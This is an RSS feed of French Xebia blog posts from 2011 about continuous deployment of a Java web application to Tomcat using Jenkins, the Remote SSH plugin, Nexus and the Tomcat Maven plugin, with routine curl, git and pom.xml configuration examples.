<?xml version="1.0" encoding="UTF-8"?> <rss
version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
xmlns:media="http://search.yahoo.com/mrss/"
> <channel><title>Blog Xebia France &#187; Tomcat</title> <atom:link href="http://blog.xebia.fr/tag/tomcat/feed/" rel="self" type="application/rss+xml" /><link>http://blog.xebia.fr</link> <description>J2EE, Agilité et SOA</description> <lastBuildDate>Wed, 08 Feb 2012 09:23:16 +0000</lastBuildDate> <language>fr</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=</generator> <copyright>CC BY-NC-ND 2.0 http://creativecommons.org/licenses/by-nc-nd/2.0/fr/</copyright> <managingEditor>blog-france@xebia.com (Xebia France)</managingEditor> <webMaster>blog-france@xebia.com (Xebia France)</webMaster> <ttl>1440</ttl> <image> <url>http://blog.xebia.fr/videos/xebia-podcast.png</url><title>Blog Xebia France</title><link>http://blog.xebia.fr</link> <width>144</width> <height>144</height> </image> <itunes:new-feed-url>http://blog.xebia.fr/feed/podcast/</itunes:new-feed-url> <itunes:subtitle>Les podcasts de Xebia France vous permettent de suivre l&#039;actualité autour de Java, de l&#039;agilité, des technologies Web et bien d&#039;autres. Xebia France est une entreprise spécialisée dans les technologies Java et JEE en environnement agi[...]</itunes:subtitle> <itunes:summary>Les podcasts de Xebia France vous permettent de suivre l&#039;actualité autour de Java, de l&#039;agilité, des technologies Web et bien d&#039;autres. Xebia France est une entreprise spécialisée dans les technologies Java et JEE en environnement agile.</itunes:summary> <itunes:keywords>Xebia, Java, JEE, SOA, Agile, Méthodes, Agiles</itunes:keywords> <itunes:category text="Technology" /> <itunes:category text="Technology"> <itunes:category text="Software How-To" /> </itunes:category> <itunes:category text="Technology"> <itunes:category text="Tech News" /> </itunes:category> <itunes:author>Xebia France</itunes:author> <itunes:owner> <itunes:name>Xebia France</itunes:name> <itunes:email>blog-france@xebia.com</itunes:email> </itunes:owner> <itunes:block>no</itunes:block> <itunes:explicit>no</itunes:explicit> <itunes:image href="http://blog.xebia.fr/videos/xebia-podcast.png" /> <item><title>Troisième édition de notre atelier : Continuous Deployment sur Tomcat avec Jenkins, Rundeck et DeployIt</title><link>http://blog.xebia.fr/2011/12/21/troisieme-edition-de-notre-atelier-continuous-deployment-sur-tomcat-avec-jenkins-rundeck-et-deployit/</link> <comments>http://blog.xebia.fr/2011/12/21/troisieme-edition-de-notre-atelier-continuous-deployment-sur-tomcat-avec-jenkins-rundeck-et-deployit/#comments</comments> <pubDate>Wed, 21 Dec 2011 07:00:54 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Exploitation]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Tech Events]]></category> <category><![CDATA[Apache]]></category> <category><![CDATA[Continuous Delivery]]></category> <category><![CDATA[DeployIt]]></category> <category><![CDATA[DevOps]]></category> <category><![CDATA[Jenkins]]></category> <category><![CDATA[Maven]]></category> <category><![CDATA[Rundeck]]></category> <category><![CDATA[Tomcat]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=10030</guid> <description><![CDATA[Répondant à la demande, le 31 janvier nous rééditerons la soirée des 13 et 20 octobre derniers ! La saison est au Continuous Delivery ! Venez découvrir comment automatiser le déploiement d&#8217;une application java web typique sur des serveurs Tomcat via une usine GitHub/Jenkins/Nexus. Nous verrons plusieurs techniques de déploiement, de la plus simple à [...]]]></description> <content:encoded><![CDATA[<p>Répondant à la demande, le 31 janvier nous rééditerons la soirée des 13 et 20 octobre derniers !</p><p>La saison est au Continuous Delivery ! Venez découvrir comment automatiser le déploiement d&#8217;une application java web typique sur des serveurs Tomcat via une usine GitHub/Jenkins/Nexus.</p><p>Nous verrons plusieurs techniques de déploiement, de la plus simple à la plus sophistiquée :</p><ol><li>déploiement sur Tomcat avec des commandes shell lancées par Jenkins au lieu de les lancer à la main ;</li><li>utilisation du tomcat-maven-plugin avec les conseils d&#8217;<a
href="http://www.talendforge.org/community_member.php#OlivierLamy" title="Olivier Lamy sur TalendForge.org" target="_blank">Olivier Lamy</a>, lead developer du plugin et committer Tomcat ;</li><li>homogénéisation des déploiements du dev à la prod avec Jenkins associé à <a
href="http://rundeck.org/" title="Site de Rundeck" target="_blank">Rundeck</a> pour gérer des commandes shell. Vincent Behar, committer Jenkins et &#8216;owner&#8217; du jenkins-rundeck-plugin nous présentera cet outil Open Source en vogue chez les OPS ;</li><li>DeployIt : l&#8217;outil intégré d&#8217;automatisation des déploiements made in Xebia.</li></ol><p>Pour avoir plus de détails sur le déroulement de l&#8217;atelier et pour vous inscrire, nous vous invitons à utiliser la <a
href="http://xfr-continuous-delivery-jenkins-rundeck-3.eventbrite.com/" target="_blank">page dédiée sur Eventbrite</a>.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2011/12/21/troisieme-edition-de-notre-atelier-continuous-deployment-sur-tomcat-avec-jenkins-rundeck-et-deployit/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Retour Atelier Continuous Delivery – Partie 2 &#8211; Déploiement continu avec Jenkins Remote SSH Plugin</title><link>http://blog.xebia.fr/2011/12/02/continuous-delivery-deploiement-jenkins-remote-ssh-plugin/</link> <comments>http://blog.xebia.fr/2011/12/02/continuous-delivery-deploiement-jenkins-remote-ssh-plugin/#comments</comments> <pubDate>Fri, 02 Dec 2011 14:30:14 +0000</pubDate> <dc:creator>Xavier Bucchiotty</dc:creator> <category><![CDATA[Exploitation]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Tech Events]]></category> <category><![CDATA[Apache]]></category> <category><![CDATA[Continuous Delivery]]></category> <category><![CDATA[DeployIt]]></category> <category><![CDATA[DevOps]]></category> <category><![CDATA[Jenkins]]></category> <category><![CDATA[Maven]]></category> <category><![CDATA[Rundeck]]></category> <category><![CDATA[Tomcat]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=9641</guid> <description><![CDATA[Pour déployer une application sur un serveur Tomcat distant, nous avons vu précédemment comment utiliser Apache Tomcat Maven Plugin. Nous pouvons aussi utiliser un script. Cette solution plus élaborée est certainement plus proche des solutions d&#8217;exploitation existantes aujourd&#8217;hui dans nos entreprises.  Dans l&#8217;esprit DevOps, il faut avoir un mode de déploiement le plus tôt possible [...]]]></description> <content:encoded><![CDATA[<p>Pour déployer une application sur un serveur Tomcat distant, nous avons vu précédemment <a
href="http://blog.xebia.fr/2011/11/25/continuous-delivery-deploiement-apache-tomcat-maven-plugin/" rel="nofollow">comment utiliser Apache Tomcat Maven Plugin</a>. Nous pouvons aussi utiliser un script. Cette solution plus élaborée est certainement plus proche des solutions d&#8217;exploitation existantes aujourd&#8217;hui dans nos entreprises. </p><p>Dans l&#8217;esprit <a
href="http://devops.fr/" rel="nofollow">DevOps</a>, il faut avoir un mode de déploiement le plus tôt possible identique à celui de la production. L&#8217;approche par script convient ainsi à un <b>maximum d&#8217;environnements</b> possibles (du test jusqu&#8217;à la production).<br
/> Pour ce faire, le script sera placé sur le serveur distant et exécuté à distance.</p><p>Le but de cet article est de vous proposer une solution pour déployer une application web sur un serveur Tomcat distant à chaque commit sur votre repository. Pour cela, nous allons utiliser le plugin Remote SSH pour Jenkins.</p><h3><a
name="RetourAtelierContinuousDelivery-Partie2-DeploiementcontinuavecJenkinsRemoteSSHPlugin-Pr%C3%A9requis"></a>Prérequis</h3><p>Lors de l&#8217;atelier, les différents outils étaient fournis sur des machines virtuelles Linux sur Amazon EC2. Si vous souhaitez refaire les manipulations sur votre poste, vous aurez besoin d&#8217;installer :</p><ul><li>un <a
href="http://www.oracle.com/technetwork/java/javase/downloads/index.html" rel="nofollow">JDK</a></li><li><a
href="http://maven.apache.org/download.html" rel="nofollow">Apache Maven</a></li><li><a
href="http://nexus.sonatype.org/download-nexus.html" rel="nofollow">Nexus</a></li><li><a
href="http://jenkins-ci.org/" rel="nofollow">Jenkins</a></li><li><a
href="http://tomcat.apache.org/download-60.cgi" rel="nofollow">Apache Tomcat 6</a></li><li>le script de déploiement créé pour l&#8217;atelier, disponible ici : <a
href="http://code.google.com/p/xebia-france/source/browse/cloudcomputing/xebia-cloudcomputing-extras/trunk/src/main/scripts/fr/xebia/workshop/continuousdelivery/tomcat-deploy-petclinic?r=2507" rel="nofollow">tomcat-deploy-petclinic</a>.</li></ul><p>Il vous faudra donc une machine distante avec un serveur SSH si vous souhaitez réaliser cet exemple.</p><h3><a
name="RetourAtelierContinuousDelivery-Partie2-DeploiementcontinuavecJenkinsRemoteSSHPlugin-T%C3%A9l%C3%A9chargementduprojetd%27exemple"></a>Téléchargement du projet d&#8217;exemple</h3><p>Nous avons mis à disposition un projet d&#8217;exemple <a
href="https://github.com/xebia-france-training/xebia-petclinic-lite" rel="nofollow">xebia-petclinic-lite</a> sous GitHub. Pour tester cet article, vous pouvez cloner ce projet. Nous avons déjà décrit cette partie dans <a
href="http://blog.xebia.fr/2011/11/25/continuous-delivery-deploiement-apache-tomcat-maven-plugin/" rel="nofollow">notre précédent article</a>.</p><pre class="brush: java; gutter: false; title: ; notranslate">
git clone https://github.com/xebia-france-training/xebia-petclinic-lite.git
</pre><p>Vous devez avoir un serveur Nexus installé en local. Une fois installé, vous devez changer dans le pom.xml les URLs des repositories avec vos valeurs (le serveur Nexus des Xebia Tech Events n&#8217;est actif que pendant les ateliers).</p><pre class="brush: xml; gutter: true; title: ; notranslate">
&lt;distributionManagement&gt;
 &lt;repository&gt;
  &lt;id&gt;xebia-tech-event-nexus-releases&lt;/id&gt;
  &lt;name&gt;Xebia Tech Event Nexus Releases&lt;/name&gt;
  &lt;url&gt;http://votreNexus/content/repositories/releases&lt;/url&gt;
 &lt;/repository&gt;
 &lt;snapshotRepository&gt;
  &lt;id&gt;xebia-tech-event-nexus-snapshots&lt;/id&gt;
  &lt;name&gt;Xebia Tech Event Nexus Snapshots&lt;/name&gt;
  &lt;url&gt;http://votreNexus/content/repositories/snapshots&lt;/url&gt;
 &lt;/snapshotRepository&gt;
&lt;/distributionManagement&gt;
</pre><p>Ensuite, un &laquo;&nbsp;<b>mvn deploy&nbsp;&raquo;</b> permettra d&#8217;avoir un projet fonctionnel déployé dans votre repository.</p><h3><a
name="RetourAtelierContinuousDelivery-Partie2-DeploiementcontinuavecJenkinsRemoteSSHPlugin-Cr%C3%A9ationduscript"></a>Création du script</h3><p>Le script shell que nous allons créer doit assurer les fonctions suivantes :</p><ul><li>Arrêter Tomcat,</li><li>Supprimer le war et les dossiers de l&#8217;application dans <code>webapps</code> et <code>temp</code>,</li><li>Télécharger une version de l&#8217;application depuis Nexus,</li><li>Démarrer Tomcat,</li><li>Effectuer un test de connexion HTTP à la page principale de l&#8217;application pour vérifier le bon démarrage de l&#8217;application déployée.</li></ul><p>Pour le téléchargement du war, nous faisons appel à l&#8217;<a
href="https://repository.sonatype.org/nexus-core-documentation-plugin/core/docs/index.html" rel="nofollow">API REST du serveur Nexus</a>. Nous allons utiliser le service <b>/</b><b><a
href="https://repository.sonatype.org/nexus-core-documentation-plugin/core/docs/rest.artifact.maven.content.html" rel="nofollow">artifact/maven/content</a></b>, dont voici les paramètres :</p><ul><li><b>g</b> : Group id de l&#8217;artéfact (Obligatoire).</li><li><b>a</b> : Artifact id de l&#8217;artéfact (Obligatoire).</li><li><b>v</b> : Version de l&#8217;artéfact (Obligatoire) Supporte les mots-clés comme &laquo;&nbsp;LATEST&nbsp;&raquo;, &laquo;&nbsp;RELEASE&nbsp;&raquo; et les version SNAPSHOT ou non (&laquo;&nbsp;1.0-SNAPSHOT&nbsp;&raquo;, &laquo;&nbsp;1.2.3&#8242; &#8230;).</li><li><b>r</b> : Identifiant du repository Nexus qui contient l&#8217;artéfact (Obligatoire). Attention, par défaut, les artéfacts versionnés et les snapshots ne sont pas stockés dans le même repository. Donc pensez à mettre le bon identifiant de repository ici &laquo;&nbsp;releases&nbsp;&raquo; ou &laquo;&nbsp;snapshots&nbsp;&raquo; (rechercher des versions SNAPSHOT dans le repository RELEASES ne va pas être simple !). Petite astuce, vous pouvez aller voir dans votre settings.xml de Maven pour connaitre les repositories (normalement, seulement présent sur le serveur d&#8217;intégration continue).</li><li><b>p</b> : Type de packaging de l&#8217;artéfact (Optionnel, par défaut il vaut .jar, donc pour un .war, il faut bien penser à  le spécifier).</li><li><b>c</b> : Qualificatif de l&#8217;artifact (Optionnel, voir la notion d&#8217;identifier dans MAVEN).</li><li><b>e</b> : Extension de l&#8217;artéfact (Optionnel)  A VOIR</li></ul><p>Ainsi, télécharger la dernière snapshot d&#8217;un artefact peut se faire grâce à une simple commande CURL sous Unix, dont voici un exemple :</p><pre class="brush: java; gutter: false; title: ; notranslate">
curl &quot;http://nexus.xebia-tech-event.info:8081/nexus/service/local/artifact/maven/content?g=fr.xebia.demo.petclinict&amp;a=xebia-petclinic-lite&amp;r=snapshots&amp;v=LATESTS&amp;e=war&quot; \
   --silent \
   --show-error  \
   --output &quot;/opt/tomcat/apache-tomcat-6/webapps/xebia-petclinic-lite.war&quot;
</pre><p>Comme dit plus haut, le serveur Nexus du Xebia Tech Event est démarré uniquement pendant les ateliers, inutile donc d&#8217;essayer cette URL depuis chez vous !</p><p>Pour vérifier le bon démarrage de Tomcat, on peut de nouveau utiliser la commande CURL pour vérifier si l&#8217;application est bien déployée. En voici un exemple :</p><pre class="brush: java; gutter: false; title: ; notranslate">
curl --connect-timeout 10 --retry 10 --silent --show-error -w &quot;%{http_code}&quot; -o /dev/null http://localhost:8080/xebia-petclinic-lite
</pre><p>Vous pouvez retrouver le script complet qui nous a servi pendant l&#8217;atelier sur <a
href="http://code.google.com/p/xebia-france/source/browse/cloudcomputing/xebia-cloudcomputing-extras/trunk/src/main/scripts/fr/xebia/workshop/continuousdelivery/tomcat-deploy-petclinic?r=2507" rel="nofollow">tomcat-deploy-petclinic</a>. Seules quelques adaptations seront nécessaires pour utiliser ce script sur vos environnements de production (changement de groupId, d&#8217;URL de repository Nexus, etc).</p><h3><a
name="RetourAtelierContinuousDelivery-Partie2-DeploiementcontinuavecJenkinsRemoteSSHPlugin-LepluginRemoteSSHpourJenkins"></a>Le plugin Remote SSH pour Jenkins</h3><p>Notre script est maintenant prêt. Il ne vous reste plus qu&#8217;à le transférer vers votre machine distante (par SCP ou FTP, comme bon vous semble). Une fois sur le serveur, vous pouvez le lancer &laquo;&nbsp;à la main&nbsp;&raquo; pour vérifier qu&#8217;il fonctionne.</p><p>Dans notre exemple, nous nous authentifions sur les serveurs grâce à des clés privées, mais le reste de l&#8217;exercice peut aussi se faire avec un login et un mot de passe si vous le souhaitez.</p><p>Le <b><a
href="https://wiki.jenkins-ci.org/display/JENKINS/SSH+plugin" rel="nofollow">Jenkins Remote SSH Plugin</a></b> permet de se connecter à un serveur distant et d&#8217;y exécuter une série de lignes de commande. Un des avantages majeurs de la solution est qu&#8217;elle n&#8217;est pas intrusive. En effet, il n&#8217;y a pas d&#8217;agent spécifique à installer sur la machine, un simple accès SSH suffit. La gestion des clés et mots de passe se trouve ainsi centralisée dans Jenkins.<br
/> Lancer le script fait donc parti d&#8217;un job Jenkins. On pourra ainsi créer des workflows avec une succession de jobs.</p><h4><a
name="RetourAtelierContinuousDelivery-Partie2-DeploiementcontinuavecJenkinsRemoteSSHPlugin-Installationetconfigurationduplugin"></a>Installation et configuration du plugin</h4><p>Pour installer le plugin, rendez-vous dans la partie <b>Administrer Jenkins</b>, <b>Gestion des plugins</b>, puis dans l&#8217;onglet <b>Disponible</b>. Cochez la ligne devant le plugin, puis cliquez sur le bouton <b>Installer</b> qui se trouve tout en bas de la page.</p><p>Une fois le plugin installé, il faut configurer la liste des hôtes que nous voulons utiliser dans nos Builds. Pour cela, rendez vous dans la partie <b>Administrer Jenkins</b>, <b>Configurer le système</b>. Vous avez accès une section <b>SSH Remote hosts</b> dans laquelle nous allons déclarer les hôtes. Les boutons <b>Ajouter</b> et <b>Supprimer</b> permettent de gérer facilement la liste. Ensuite, il n&#8217;y a plus qu&#8217;à remplir les hôtes avec les informations suivantes :</p><ul><li>Hostname : serveur hébergeant votre Tomcat (Obligatoire),</li><li>Port : d&#8217;écoute SSH (Optionnel, 22 par défaut),</li><li>User Name : nom de l&#8217;utilisateur qui sera connecté au serveur (Obligatoire),</li><li>Password/Passphrase : si vous utilisez une authentification simple, c&#8217;est ici qu&#8217;on ajoute le mot de passe, sinon cela peut aussi être la passphrase (Optionnel),</li><li>Keyfile : si vous utilisez une authentification avec clé privée, on ajoute ici le chemin vers la clé qui doit se trouver sur le même serveur que Jenkins (Optionnel).</li></ul><p><span
style="display: block; text-align: center"><img
src="http://blog.xebia.fr/wp-content/uploads/2011/12/jenkins-add-ssh-remote-host-screenshot-1.png" style="border: 0px solid black" /></span></p><p>Petit inconvénient, il est impossible de créer un alias pour la configuration de chaque serveur. De plus, la liste des hôtes est unique pour toute l&#8217;instance Jenkins. Si plusieurs projets sont présents sur l&#8217;instance, avec des noms d&#8217;hôtes relativement similaire, cela peut nuire à la lisibilité.</p><h4><a
name="RetourAtelierContinuousDelivery-Partie2-DeploiementcontinuavecJenkinsRemoteSSHPlugin-Exploitationduscript"></a>Exploitation du script</h4><p>Après avoir installé votre script sur la machine Tomcat et avoir déclaré ce serveur Tomcat dans Jenkins, nous allons maintenant configurer l&#8217;invocation du script.<br
/> Pour cela, il suffit de créer un projet <b>Free-style</b> dans Jenkins, de cocher l&#8217;option <b>Execute shell script on remote host using SSH</b>.<br
/> Sélectionnez ensuite l&#8217;hôte qui vous intéresse, puis dans la partie <b>Post-build script</b>, ajoutez la commande de lancement de votre script shell (par exemple /usr/local/script/deploy_on_tomcat ).<br
/> Vous pouvez lancer le job pour vérifier son fonctionnement.<br
/> Nous avons créé un job séparé ici, mais rien ne vous empêche de l&#8217;intégrer directement dans votre build Jenkins principal. Si vous déclenchez une intégration continue à chaque commit sur le dépôt de source, vous allez ainsi faire du déploiement continu sur votre serveur.<br
/> Si l&#8217;on possède plusieurs machines, il faudra par contre créer plusieurs jobs différents (c&#8217;est-à-dire créer plusieurs projets <b>Free Style</b>). L&#8217;hôte n&#8217;est pas paramétrable.</p><p><span
style="display: block; text-align: center"><img
src="http://blog.xebia.fr/wp-content/uploads/2011/12/jenkins-configure-job-ssh-post-build-script-screenshot.png" style="border: 0px solid black" /></span></p><h3><a
name="RetourAtelierContinuousDelivery-Partie2-DeploiementcontinuavecJenkinsRemoteSSHPlugin-Conclusion"></a>Conclusion</h3><p>Pour résumer, nous pouvons dresser le bilan suivant de l&#8217;utilisation du jenkins-ssh-plugin pour automatiser le déploiement depuis Jenkins sur des serveurs Tomcat :</p><p><b>Avantages</b></p><ul><li>Simple et rapide à mettre en place,</li><li>Pas d&#8217;agent à installer sur les serveurs,</li><li>Gestion centralisée des accès aux machines,</li><li>Se branche facilement sur l&#8217;intégration continue pour un déploiement continu en 0 clic,</li><li>Compatible avec un mode de livraison en production (avec un bon script bien robuste, rien n&#8217;est impossible !).</li></ul><p><b>Inconvénients</b></p><ul><li>Liste statique des hôtes</li><li>Tous les hôtes sont à un seul endroit dans la configuration, cela devient compliqué à gérer avec un nombre croissant d&#8217;environnements,</li><li>Le job est lié à la machine sur laquelle il exécute le script,</li><li>Impossible de déployer l&#8217;application sur plusieurs machines, sauf à créer plusieurs jobs,</li><li>Le script doit être déployé préalablement sur le(s) serveur(s) Tomcat.</li></ul> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2011/12/02/continuous-delivery-deploiement-jenkins-remote-ssh-plugin/feed/</wfw:commentRss> <slash:comments>3</slash:comments> </item> <item><title>Retour Atelier Continuous Delivery &#8211; Partie 1 &#8211; Déploiement avec Apache Tomcat Maven Plugin</title><link>http://blog.xebia.fr/2011/11/25/continuous-delivery-deploiement-apache-tomcat-maven-plugin/</link> <comments>http://blog.xebia.fr/2011/11/25/continuous-delivery-deploiement-apache-tomcat-maven-plugin/#comments</comments> <pubDate>Fri, 25 Nov 2011 08:00:51 +0000</pubDate> <dc:creator>Julia Mateo</dc:creator> <category><![CDATA[Exploitation]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Tech Events]]></category> <category><![CDATA[Apache]]></category> <category><![CDATA[Continuous Delivery]]></category> <category><![CDATA[DeployIt]]></category> <category><![CDATA[DevOps]]></category> <category><![CDATA[Jenkins]]></category> <category><![CDATA[Maven]]></category> <category><![CDATA[Rundeck]]></category> <category><![CDATA[Tomcat]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=9462</guid> <description><![CDATA[Les 13 et 20 octobre derniers a eu lieu le deuxième Tech Event Xebia avec, cette fois, comme sujet le Déploiement Continu sur Tomcat avec Jenkins, Rundeck et Deployit. Pour l&#8217;occasion nous avons eu la collaboration spéciale de deux guest stars : Olivier Lamy, architecte chez Talend, membre de la fondation Apache et committer sur [...]]]></description> <content:encoded><![CDATA[<p>Les 13 et 20 octobre derniers a eu lieu le deuxième <a
href="http://blog.xebia.fr/tech-event/">Tech Event Xebia</a> avec, cette fois, comme sujet le Déploiement Continu sur Tomcat avec Jenkins, Rundeck et Deployit. Pour l&#8217;occasion nous avons eu la collaboration spéciale de deux <em>guest stars</em> :</p><ul><li><b><a
href="http://people.apache.org/~olamy/" rel="nofollow">Olivier Lamy</a></b>, architecte chez <b>Talend</b>, membre de la fondation Apache et committer sur Tomcat et sur Jenkins</li><li><b><a
href="http://vincent.behar.name/cv/" rel="nofollow">Vincent Behar</a></b>, ingénieur Java à <b>Exalead</b>, <em>owner</em> du plugin Rundeck pour Jenkins et cofondateur de <a
href="http://parisdevops.fr/" rel="nofollow">Paris Devops</a>, </li></ul><p>Merci à eux pour leur participation à la préparation de l&#8217;atelier ainsi qu&#8217;à sa présentation.</p><p><a
href="http://code.flickr.com/" rel="nofollow">Flickr</a> est l&#8217;exemple le plus évoqué à l&#8217;heure actuelle de déploiement continu. Il existe bien d&#8217;autres exemples connus comme <a
href="http://prettyprint.me/2011/01/24/continuous-deployment-at-outbrain/" rel="nofollow">Outbrain</a>, <a
href="http://eng.wealthfront.com/" rel="nofollow">Wealthfront</a> ou <a
href="http://codeascraft.etsy.com/2010/05/20/quantum-of-deployment/" rel="nofollow">Etsy</a>. Même si le nombre d&#8217;entreprises qui arrivent à ce niveau de maturité est encore faible, il est possible qu&#8217;à l&#8217;avenir cette méthode devienne une technique courante dans les projets avec la progression de l&#8217;agilité. Son implémentation oblige, en effet, à accomplir quelques principes du manifeste agile, dont par exemple :</p><div
style="border: dotted 1px #6A205F; background: #F0EDF1; padding:10px 30px;"><ul><li><em>Une attention continue à l&#8217;excellence technique et à la qualité de la conception améliore l&#8217;agilité.</em></li><li><em>Un logiciel fonctionnel est la meilleure unité de mesure de la progression du projet.</em></li></ul></div><p>Ainsi qu&#8217;à en pousser d&#8217;autres :</p><div
style="border: dotted 1px #6A205F; background: #F0EDF1; padding:10px 30px;"><ul><li><em>Livrez fréquemment un logiciel opérationnel avec des cycles de  quelques semaines à quelques mois et une préférence pour les plus  courts.</em></li><li><em>Notre première priorité est de satisfaire le client en livrant tôt et régulièrement des logiciels utiles.</em></li></ul></div><p>Quels sont les points forts du déploiement continu ?</p><ul><li>Etre au plus près des attentes du marché (le fameux Time to market) en fournissant aux utilisateurs les fonctionnalités qu&#8217;ils attendent dès qu&#8217;elles sont prêtes.</li><li>Minimiser le risque d&#8217;échec d&#8217;un gros déploiement.</li><li>Avoir un retour rapide des utilisateurs réels de l&#8217;application sur les nouvelles fonctionnalités de la version.</li><li>Une livraison fréquente permet aux utilisateurs de s&#8217;habituer progressivement aux nouveaux environnements ergonomiques.</li></ul><p>En revanche, l’implémentation du déploiement continu ne doit pas être sous-estimée. Sa mise en place oblige à une grande rigueur :</p><ul><li>Automatisation de toutes les phases de build, test et déploiement,</li><li>Configuration centralisée du déploiement et exécution sur chaque environnement,</li><li>Une haute disponibilité de l&#8217;infrastructure de production afin d&#8217;éviter les coupures de service,</li><li>Une couverture des tests exemplaire. Si les tests unitaires, d&#8217;intégration et d’acceptance passent, l&#8217;application répond aux besoins et peut en théorie partir en production à tout moment.</li><li>Communication fluide entre l&#8217;exploitation, les DBAs et les développeurs. Dans la ligne de ce que le mouvement <a
href="http://devops.fr/" rel="nofollow">Devops</a> préconise, on doit éviter les fractures organisationnelles et développer un environnement collaboratif en donnant priorité au bon fonctionnement du système.</li></ul><h3><a
name="DRAFT-RetourAtelierContinuousDelivery-Partie1-D%C3%A9ploiementavecApacheTomcatMavenPlugin-Notreatelier"></a>Notre atelier</h3><h4><a
name="DRAFT-RetourAtelierContinuousDelivery-Partie1-D%C3%A9ploiementavecApacheTomcatMavenPlugin-Pr%C3%A9sentationglobaledel%27architecture"></a>Présentation globale de l&#8217;architecture</h4><p>Revenons sur l&#8217;atelier. Le but de la soirée, par binôme, est de mettre la main à la pâte et configurer du déploiement continu. Pour ce faire, nous avons présenté comment déployer sur Tomcat l&#8217;application web modèle de Spring petclinic sur des  instances Amazon EC2. Les méthodes proposées étaient les suivantes :</p><ul><li>Le <a
href="http://tomcat.apache.org/maven-plugin.html" rel="nofollow">plugin Tomcat Maven</a></li><li>Le <a
href="https://wiki.jenkins-ci.org/display/JENKINS/SSH+plugin" rel="nofollow">plugin SSH pour Jenkins</a></li><li><a
href="http://rundeck.org/" rel="nofollow">Rundeck</a> et le <a
href="https://wiki.jenkins-ci.org/display/JENKINS/RunDeck+Plugin" rel="nofollow">plugin Rundeck pour Jenkins</a></li><li><a
href="http://www.xebialabs.com/" rel="nofollow">Deployit</a>, de XebiaLabs</li></ul><p>Afin de tester les différents outils, voici l&#8217;architecture utilisée:</p><ul><li>Une instance Amazon avec un Nexus pour gérer les artifacts de tous les assistants.</li><li>Un repository xebia-petclinic-X sur GitHub pour chaque équipe/binôme (où chaque équipe avait un numéro X associé)</li><li>Une instance Amazon EC2 avec un Jenkins, un Rundeck et un Deployit par équipe</li><li>Trois instances Amazon EC2 dont deux avaient un Tomcat qu&#8217;on a appellé “valid” (ou de production) et le troisième un Tomcat de “dev” (ou d&#8217;intégration/qualité)</li></ul><p><span
style="display: block; text-align: center"><img
src="http://blog.xebia.fr/wp-content/uploads/2011/11/imagen-infrastructure-par-equipe.png" height="293" width="434" style="border: 0px solid black" /></span></p><p>Cette infrastructure est générée à chaud au début de chaque atelier avec un script écrit en java. Pour vous faire une idée, le nombre de nœuds créés pour chaque atelier a été autour des 45 (20 participants regroupés en binômes). Le démarrage des instances Amazon Linux a été fait avec le package d&#8217;AWS SDK pour Java. Pour l&#8217;initialisation et configuration de Nexus, Jenkins, Rundeck et Tomcat, nous avons utilisé le package d&#8217;Ubuntu <a
href="https://help.ubuntu.com/community/CloudInit" rel="nofollow">Cloud-init</a>. Puisque le serveur Nexus est partagé par tous les utilisateurs de l&#8217;atelier, une adresse Elastic-IP d&#8217;Amazon lui est assignée à son démarrage. La création automatique de chaque repository github par binôme a été faite avec <a
href="http://develop.github.com/" rel="nofollow">l&#8217;API V2 de GitHub</a>. Pour ceux intéressés à avoir plus des détails sur la création et l&#8217;initialisation des instances Amazon pour ce workshop, sachez que dans les prochains jours nous publierons à ce propos un nouveau billet.</p><h3><a
name="DRAFT-RetourAtelierContinuousDelivery-Partie1-D%C3%A9ploiementavecApacheTomcatMavenPlugin-Pr%C3%A9sentationdeApacheTomcatMavenPlugin"></a>Présentation de Apache Tomcat Maven Plugin</h3><p>La première méthode de déploiement proposée utilise le plugin Apache Tomcat Maven. Olivier Lamy nous a fait une présentation des fonctionnalités de ce plugin qui facilite les opérations sur les wars quand on déploie sur Tomcat. Voici quelques-uns des goals disponibles :</p><ul><li><em>tomcat:run</em> permet de déployer un war sur un tomcat embarqué. Le plugin délègue à maven le téléchargement automatique des jars pour pouvoir l’exécuter. Cela permet le rechargement à chaud des jsp, css, html …</li><li><em>tomcat:deploy</em> déploie un war dans un tomcat démarré.</li></ul><p>Ainsi que les nouvelles fonctionnalités à venir :</p><ul><li>Support pour tomcat 7</li><li>Un nouveau goal qui permettra de créer un jar standalone pour pouvoir exécuter le war sur tomcat. Le jar inclura la webapp aussi que tous les jars de tomcat nécessaires.<br
/> Par exemple : <b>mvn tomcat7:exec-war</b> génère un jar <em>my-project-exec-war.jar</em><br
/> <b>jar -jar my-project-exec-war.jar</b> lance le tomcat avec la webapp avec une configuration par défaut. Il est aussi configurable en renseignant des paramètres (-httpPort -ajpPort&#8230;)</li></ul><p>Durant le workshop, nous avons utilisé le goal « tomcat : deploy » afin de déployer l&#8217;application exemple en local, puis sur l&#8217;instance Amazon avec le Tomcat de Dev. Pour cela, il suffit de rajouter le plugin tomcat maven au pom.xml du projet comme ci-dessous :</p><pre class="brush: xml; gutter: true; title: ; notranslate">
&lt;plugin&gt;
     &lt;groupId&gt;org.apache.tomcat.maven&lt;/groupId&gt;
     &lt;artifactId&gt;tomcat6-maven-plugin&lt;/artifactId&gt;
     &lt;version&gt;2.0-SNAPSHOT&lt;/version&gt;
     &lt;configuration&gt;
          &lt;update&gt;true&lt;/update&gt;
     &lt;/configuration&gt;
&lt;/plugin&gt;
